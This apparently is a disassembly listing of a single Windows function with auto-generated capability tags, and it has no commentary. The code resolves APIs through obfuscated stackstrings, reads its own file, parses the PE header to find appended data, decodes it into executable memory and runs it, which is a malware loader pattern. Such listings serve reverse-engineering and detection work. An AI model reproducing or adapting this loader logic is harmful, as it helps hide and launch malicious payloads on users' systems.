Function at 0x401090
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Link many functions at runtime
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xeb4
mov eax, dword [0x41a32c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xbebc200
call fcn.0040448d
mov esi, eax
xor ebx, ebx
add esp, 4
cmp esi, ebx
jne 0x4010c2
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xbebc200
push ebx
push esi
call fcn.004048a0
push esi
call fcn.00404453
add esp, 0x10
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x44], 0x6e72656b
mov dword [ebp - 0x40], 0x32336c65
mov dword [ebp - 0x3c], 0x6c6c642e
mov byte [ebp - 0x38], bl
mov dword [ebp - 0x34], 0x61657243
mov dword [ebp - 0x30], 0x69466574
mov dword [ebp - 0x2c], 0x41656c
mov dword [ebp - 0x68], 0x4d746547
mov dword [ebp - 0x64], 0x6c75646f
mov dword [ebp - 0x60], 0x6c694665
mov dword [ebp - 0x5c], 0x6d614e65
mov word [ebp - 0x58], 0x4165
mov byte [ebp - 0x56], bl
mov dword [ebp - 0x1c], 0x46746547
mov dword [ebp - 0x18], 0x53656c69
mov dword [ebp - 0x14], 0x657a69
mov dword [ebp - 0x28], 0x736f6c43
mov dword [ebp - 0x24], 0x6e614865
mov dword [ebp - 0x20], 0x656c64
mov dword [ebp - 0x54], 0x74726956
mov dword [ebp - 0x50], 0x416c6175
mov dword [ebp - 0x4c], 0x636f6c6c
mov byte [ebp - 0x48], bl
mov dword [ebp - 0x10], 0x64616552
mov dword [ebp - 0xc], 0x656c6946
mov byte [ebp - 8], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x34]
mov esi, eax
push ecx
push esi
call edi
lea edx, [ebp - 0x68]
push edx
push esi
mov dword [ebp - 0x184], eax
call edi
mov dword [ebp - 0x174], eax
lea eax, [ebp - 0x1c]
push eax
push esi
call edi
lea ecx, [ebp - 0x28]
push ecx
push esi
mov dword [ebp - 0x17c], eax
call edi
lea edx, [ebp - 0x54]
push edx
push esi
mov dword [ebp - 0x178], eax
call edi
mov dword [ebp - 0x180], eax
lea eax, [ebp - 0x10]
push eax
push esi
call edi
push 0x103
lea ecx, [ebp - 0x16b]
push ebx
push ecx
mov dword [ebp - 0x170], eax
mov byte [ebp - 0x16c], bl
call fcn.004048a0
add esp, 0xc
push 0x103
lea edx, [ebp - 0x16c]
push edx
push ebx
call dword [ebp - 0x174]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
lea eax, [ebp - 0x16c]
push eax
call dword [ebp - 0x184]
mov esi, eax
push ebx
cmp esi, 0xffffffff
jne 0x401235
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call dword [ebp - 0x17c]
mov edi, eax
push edi
call fcn.0040448d
add esp, 4
mov dword [ebp - 0x174], eax
cmp eax, ebx
jne 0x40125f
push esi
call dword [ebp - 0x178]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
lea ecx, [ebp - 0x188]
push ecx
push edi
push eax
push esi
call dword [ebp - 0x170]
test eax, eax
jne 0x401291
mov edx, dword [ebp - 0x174]
push edx
call fcn.00404453
add esp, 4
push esi
call dword [ebp - 0x178]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call dword [ebp - 0x178]
mov esi, dword [ebp - 0x174]
mov ecx, 0x5a4d
xor eax, eax
cmp word [esi], cx
jne 0x4012e8
mov ecx, dword [esi + 0x3c]
add ecx, esi
cmp dword [ecx], 0x4550
jne 0x4012e8
movzx edx, word [ecx + 0x14]
mov eax, dword [ecx + 0x54]
lea edx, [edx + ecx + 0x18]
mov dword [ebp - 0x170], edx
movzx edx, word [ecx + 6]
cmp edx, ebx
jle 0x4012e8
mov ecx, dword [ebp - 0x170]
add ecx, 0x10
lea esp, [esp]
add eax, dword [ecx]
add ecx, 0x28
dec edx
jne 0x4012e0
cmp eax, edi
jne 0x4012f3
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [eax + esi + 0x3a]
lea ecx, [eax + esi]
sub edi, eax
mov dword [ebp - 0x190], edx
movzx edx, word [ecx + 0x3e]
mov eax, edi
mov edi, dword [ecx + 0x36]
lea esi, [ecx + edx + 0x36]
push edi
mov dword [ebp - 0x170], ecx
mov ecx, dword [ebp - 0x190]
push ecx
sub eax, edx
sub eax, 0x36
push eax
push esi
push esi
mov dword [ebp - 0x17c], edx
call section..text
add esp, 0x14
push 0x40
mov ecx, 0x348
lea edi, [ebp - 0xeb4]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0xe48]
push 0x1000
push edi
push ebx
call dword [ebp - 0x180]
mov esi, eax
cmp esi, ebx
je 0x401382
mov edx, dword [ebp - 0x170]
mov eax, dword [ebp - 0x17c]
push edi
lea ecx, [edx + eax + 0xd56]
push ecx
push esi
call fcn.00404530
add esp, 0xc
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404521
mov esp, ebp
pop ebp
ret